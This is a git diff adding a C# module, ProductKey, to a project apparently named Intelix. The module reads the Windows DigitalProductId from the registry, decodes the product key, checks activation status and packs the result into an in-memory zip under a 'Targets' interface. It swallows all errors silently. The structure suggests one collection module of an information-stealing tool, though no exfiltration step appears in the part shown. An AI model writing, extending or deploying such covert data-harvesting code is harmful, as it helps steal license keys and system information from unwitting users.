initial commit
This commit is contained in:
@@ -0,0 +1,135 @@
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class ProductKey : ITarget
|
||||
{
|
||||
private enum DigitalProductIdVersion
|
||||
{
|
||||
UpToWindows7,
|
||||
Windows8AndUp
|
||||
}
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32);
|
||||
object obj = registryKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")?.GetValue("DigitalProductId");
|
||||
if (obj != null)
|
||||
{
|
||||
byte[] digitalProductId = (byte[])obj;
|
||||
registryKey.Close();
|
||||
bool flag = (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2) || Environment.OSVersion.Version.Major > 6;
|
||||
string windowsProductKeyFromDigitalProductId = GetWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? DigitalProductIdVersion.Windows8AndUp : DigitalProductIdVersion.UpToWindows7);
|
||||
if (!string.IsNullOrEmpty(windowsProductKeyFromDigitalProductId))
|
||||
{
|
||||
string text = (IsWindowsActivatedFast() ? "Activated ✅" : "Not Activated ❌");
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("=== Windows Product Key Info ===");
|
||||
stringBuilder.AppendLine("Status : " + text);
|
||||
stringBuilder.AppendLine("Key : " + windowsProductKeyFromDigitalProductId);
|
||||
stringBuilder.AppendLine("================================");
|
||||
zip.AddTextFile("ProductKey.txt", stringBuilder.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private string DecodeProductKeyWin8AndUp(byte[] digitalProductId)
|
||||
{
|
||||
string text = string.Empty;
|
||||
byte b = (byte)((digitalProductId[66] / 6) & 1);
|
||||
digitalProductId[66] = (byte)((digitalProductId[66] & 0xF7) | ((b & 2) * 4));
|
||||
int num = 0;
|
||||
for (int num2 = 24; num2 >= 0; num2--)
|
||||
{
|
||||
int num3 = 0;
|
||||
for (int num4 = 14; num4 >= 0; num4--)
|
||||
{
|
||||
num3 *= 256;
|
||||
num3 = digitalProductId[num4 + 52] + num3;
|
||||
digitalProductId[num4 + 52] = (byte)(num3 / 24);
|
||||
num3 %= 24;
|
||||
num = num3;
|
||||
}
|
||||
text = "BCDFGHJKMPQRTVWXY2346789"[num3] + text;
|
||||
}
|
||||
string text2 = text.Substring(1, num);
|
||||
string text3 = text.Substring(num + 1, text.Length - (num + 1));
|
||||
text = text2 + "N" + text3;
|
||||
for (int i = 5; i < text.Length; i += 6)
|
||||
{
|
||||
text = text.Insert(i, "-");
|
||||
}
|
||||
return text;
|
||||
}
|
||||
|
||||
private string DecodeProductKey(byte[] digitalProductId)
|
||||
{
|
||||
char[] array = new char[24]
|
||||
{
|
||||
'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P',
|
||||
'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4',
|
||||
'6', '7', '8', '9'
|
||||
};
|
||||
char[] array2 = new char[29];
|
||||
ArrayList arrayList = new ArrayList();
|
||||
for (int i = 52; i <= 67; i++)
|
||||
{
|
||||
arrayList.Add(digitalProductId[i]);
|
||||
}
|
||||
for (int num = 28; num >= 0; num--)
|
||||
{
|
||||
if ((num + 1) % 6 == 0)
|
||||
{
|
||||
array2[num] = '-';
|
||||
}
|
||||
else
|
||||
{
|
||||
int num2 = 0;
|
||||
for (int num3 = 14; num3 >= 0; num3--)
|
||||
{
|
||||
int num4 = (num2 << 8) | (byte)arrayList[num3];
|
||||
arrayList[num3] = (byte)(num4 / 24);
|
||||
num2 = num4 % 24;
|
||||
array2[num] = array[num2];
|
||||
}
|
||||
}
|
||||
}
|
||||
return new string(array2);
|
||||
}
|
||||
|
||||
private string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, DigitalProductIdVersion digitalProductIdVersion)
|
||||
{
|
||||
if (digitalProductIdVersion != DigitalProductIdVersion.Windows8AndUp)
|
||||
{
|
||||
return DecodeProductKey(digitalProductId);
|
||||
}
|
||||
return DecodeProductKeyWin8AndUp(digitalProductId);
|
||||
}
|
||||
|
||||
public static bool IsWindowsActivatedFast()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform");
|
||||
if (registryKey != null)
|
||||
{
|
||||
object value = registryKey.GetValue("BackupProductKeyDefault");
|
||||
return value != null && value.ToString().Length > 0;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user